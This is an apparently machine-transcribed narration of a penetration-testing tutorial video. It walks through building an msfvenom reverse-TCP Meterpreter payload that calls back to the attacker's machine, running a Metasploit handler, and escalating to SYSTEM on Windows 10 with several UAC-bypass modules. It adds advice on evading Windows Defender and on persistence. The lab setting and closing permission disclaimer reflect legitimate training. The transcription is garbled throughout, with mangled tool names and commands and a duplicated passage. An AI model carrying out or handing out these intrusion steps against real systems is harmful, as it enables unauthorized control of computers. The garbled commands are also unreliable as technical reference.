Welcome to part eleven of this module in this video.
We're going to be looking at how to escalate our privileges on a Windows system in prior videos we've
seen examples of how to use metal split Armitage and beef to gain a foothold against a target.
The end goal for most of these attacks is ultimately to gain something like a mature fritter session
or reverse shell where we can control the target and hopefully achieve persistent access in a perfect
world.
We gain some form of terminal that allows us to throw commands at the victim P.C. but then what.
Once we have an interpreter where do we go from there.
The techniques shown here work against Windows 7 Windows 8 and Windows 8 point 1.
Our target for this video is going to be a Windows 10 64 bit professional installation running in another
virtual box.
So we will begin by loading up met a split which have already done to save time.
If you need a refresher you just type service post rescue well start followed by MSF console keeping
in mind that it does take some time to load in a prior video.
We learned how to encode our payloads since the goal of this demonstration is to show how to escalate
our privileges once we have a more chirped session.
We aren't going to bother with encoding or anything fancy right now.
Let's just go ahead and generate a generic payload with MSF venom.
If you're using an older version of Kali and I'm not really sure why you would be but I'm just throwing
this out there.
The command would be MSF payload that command should be obsolete on all modern versions of the operating
system however since we've already seen payload generation we'll make this quick.
First we grab our network IP.
Keep in mind that if you're doing this over the Internet you'll need to refer back to the video on port
forwarding for instructions on how to set that up.
If you haven't already.
The if config command will show a SA current IP address.
Mine is going to be tender 0 0 to 30.
Yours will vary.
Then we'll generate our payload.
Again we're not doing anything fancy here.
We've seen this all before.
MSF venom TAC P windows forward slash interpreter forward slash reverse CCP.
We're gonna set the L host to our current IP address the L port we'll leave at 4 4 4 4.
Again you can change that if you want to tack f the XY better then forward slash route forward slash
desktop forward slash and I'm going to call this payload 3 because that's I believe it's our third payload
period ELC and press enter we'll give it a few moments for the payload to generate.
I'm going to go through all of this quickly because you've seen it all before.
This is mostly just a refresher to get us back to where we were in the prior video with more turpitude.
And again if you want to follow along the target in this demonstration is Windows 10 but you can use
a Windows 8 or a windows 7 machine these techniques should work against really any version of Windows
going back I think to XP.
Anything before that you're you're on your own.
Once this is done we'll find the payload on our desktop and we'll need to transfer it over to our Windows
machine.
How you do this is up to you of course.
If you're in virtual box you could use a shared folder or possibly a USP thumb drive or something of
that nature.
It really doesn't matter.
But before we open the exploit let's get our multi handler up and running.
So if you remember to do this we type.
Use exploit forward slash multi forward slash handler.
Pardon my typo there.
As always the exploit appears in red as part of the prompt indicating that it is now loaded.
Like before we give it our information so we're going to set l hosts.
Again your IP address will vary.
We will set the El port.
Same as before.
4 4 4 4.
And then we type exploit.
Now this should all be pretty familiar to you if you've been following along with these videos in order
the reverse T P handler is now going to be listening for our connection so as soon as this comes up
we're going to flip over to our windows 10 system and open up the payload which will then establish
the maternity session with R. Kelly Linux machine once over here in our windows 10 machine.
All we have to do is just double click on this payload.
Again it doesn't matter how you get it over here may take a moment to load and we switch back to our
Cally machine and we should see it the maternity session is now opening.
There we go.
Our maternity session is now open.
So far so good.
If you've been following along with these videos in order you've seen all of this already.
But now this is where things get interesting.
Armor chapter session is now open.
So far so good.
If you'd been following along with these videos in order you've seen all this already.
But this is where things get interesting.
The first thing we're going to do is we're going to type background in return fritter.
This is going to place the maturity process itself into the background so that we can work within met
a split but it will keep the connection alive for us to come back to.
Next we're going to load up a second exploit called bypass UAC injection so we're gonna type use exploit
forward slash windows forward slash local forward slash bypass UAC underscore an injection and we're
going to do show options.
We can see when we list options that it requires a session so we type sessions and we can see that arm
or trumpeter session is number one listed under I.D. So we're going to set the session to 1 and show
options again OK.
And we're going to run
I made a mistake but this is somewhat fortunate because it is something that I wanted to touch on anyway.
The exploit was expecting a 32 bit target by default.
And that is the case with a lot of these exploits where it defaults to 32 bit and then it breaks when
you use it against a 64 bit operating system.
And really how often do you come across a 32 bit system nowadays anyway.
It really should default to 64 but since it doesn't there is usually a way to specify this within the
exploit options.
In this case we're just going to type set payload windows forward slash X 64 for 64 bit forward slash
interpreter forward slash reverse underscore TS C P and then we're going to set target 1 to specify
a 64 bit operating system target 0 would specify 32 bit and we'll show options again now as we can see
windows 64 bit has been specified and our payload now specifies 64 bit so I'm sorry for that little
mistake but it was handy to illustrate how to do this.
So once that's done we're gonna type run and if you bump into this problem with other exploits or modules
it is important to remember that you have to set the architecture.
Sometimes it isn't immediately apparent in the options just how you're supposed to do that.
So you may need to read up on the module a bit.
Now do you keep in mind that fully updated Windows Defender is going to catch on encoded payload and
delete it.
But again we've already seen some methods of encoding payloads and right now we just want to see privilege
escalation okay.
So as you can see I actually had to run the exploit twice and I'm not really sure why it failed on the
first try sometimes.
These these exploits they will just fail for no reason and running it twice can sometimes work.
In this case it did.
In any event we now have a second mature session open.
So now if we get system we can see that we have admin.
We can also get UI D and we can see that we have authority system.
Okay so that was one way of doing things.
Now we're going to put this session into the background and then use another module
before we do that we'll type sessions again.
We don't need this many maternal fritters open at once so let's use Tak K to kill off the first session.
But notice that under the session information you can see which active sessions have authority system
and which don't.
This is important.
If you were running a server or something of that nature and you had a lot of maturity sessions running
simultaneously to different computers at once.
So let's go ahead and we'll do sessions TAC K for kill and we'll kill the first session there we go.
Now we'll load up our next module.
Ask to see if what we want to do next is going to work or not.
So we're going to do use exploit forward slash windows forward slash local forward slash ask show options
and we're going to set session to two.
We're going to set targets to one for 64 bit and last but not least we're going to set the technique
which is EMC by default to PSA H because this will have a better chance of not being detected by Windows
Defender and I'm going to run this and as I do I'm going to flip over to the Windows 10 side of the
virtual system so that you can see what the user sees.
This module is going to prompt the user for authentication so in order for it to be successful the user
is going to have to click yes and that can give the game away.
So I'm not saying that this particular approach is the best way of doing things but if you actually
do for the user into answering the question that the ask module presents the user with it then you will
also gain authority system through that maturity session.
So again this is just a different way of doing it.
So I've gone ahead and put us into windowed mode and cleared the screen.
We're going to run the module and then we're going to flip over to Windows 10 and hopefully we'll see
something happen on this end.
If the exploit works now we can see that this exploit failed due to a timeout and I'm going to put this
one down to Windows 10.
However a power Shell did open up on the Windows 10 user desktop and how wasn't supposed to happen if
we were in Windows eight point one or Windows 7 and probably Windows XP as well.
What would happen is that the user would get a command prompt asking to authorize windows power shell
if the user clicks Yes then the power Shell will open but it will open in the background and it will
apply only to armor trumpeter session.
It appears that Windows 10 doesn't have that safeguard I guess which has foiled the exploit because
here we just have a blank power shell opening up in the user's face which is not useful to us.
So this particular exploit has failed but that's all right.
This is why we test these things ahead of time.
I admit I'm a little bit taken by surprise that this exploit didn't work against windows 10 but that
can happen.
Now fortunately we have a lot more exploits to choose from.
I've used ask very successfully against windows 8 and Windows 7.
So not sure what happened there but we'll try.
Use exploit forward slash windows forward slash local forward slash bypass the way C but this time we're
going to press tab twice for auto completion and just like in recon and G that's going to pull up all
of the potential ways that we could complete this this path.
These are all approaches that we can take some may work and like the ask module that we just saw some
may not.
So it's always important to test these things ahead of time.
Let's try the bypass UAC event BW R so we'll do underscore event B W R and we're going to do show options.
We need to specify a session
which is still to in my case yours will vary
so we'll set session two and we will once again set the payload
to Windows forward slash X 64 forward slash interpreter Ford slash interpreter forward slash reverse
underscore DCP will set target one we'll show the options.
OK so now we're up against day windows 64 bit everything else we'd set the L host
if configured necessary set l host in my case it's ten dot 0.01 forty five show options again
list files and will once again get the UI D exploit has worked this new session has authority system
can also do get system in memory admin OK.
All right so that covers a few basic examples of how to get a mature prettier session with elevated
privileges and there are obviously more modules that you can try as you saw and they all work essentially
the same way of course a fully updated operating system is going to be more resistant so you do need
to be careful if you wish to avoid detection each module is pretty much going to have the same options
you'll need to set the sessions you'll need to set the target you'll probably need to set the L host
as well and the L port remember you'll need to use Port forwarding if you're doing this over the Internet
and I think last but not least I'll point out that if you wish to switch between sessions you would
just type sessions TAC AI and then the session no.
So if you have more turpitude sessions in the background for example session three typing that and pressing
Enter would reactivate an interpreter session three.
So that's just something to keep in mind.
And finally if you come across a module without clear instructions on how to set the target architecture
or the payload or really any other option for that matter just do a quick search with the module name
and the parameter that you're having trouble with and you should be able to find numerous syntax examples
with an authority system interpreter session you can do just about anything on the target machine without
it being visible to the end user at least within reason.
Once you have authority you can work on establishing a persistent foothold on the target computer as
always.
Practice makes perfect playing around with these techniques and virtual systems is really the best way
to see what works and what doesn't.
And as always.
Never use anything shown in these videos against any target that you do not have written permission
from the owner to penetration test be lawful and ethical at all times.
Thank you and I'll see you in the next lesson.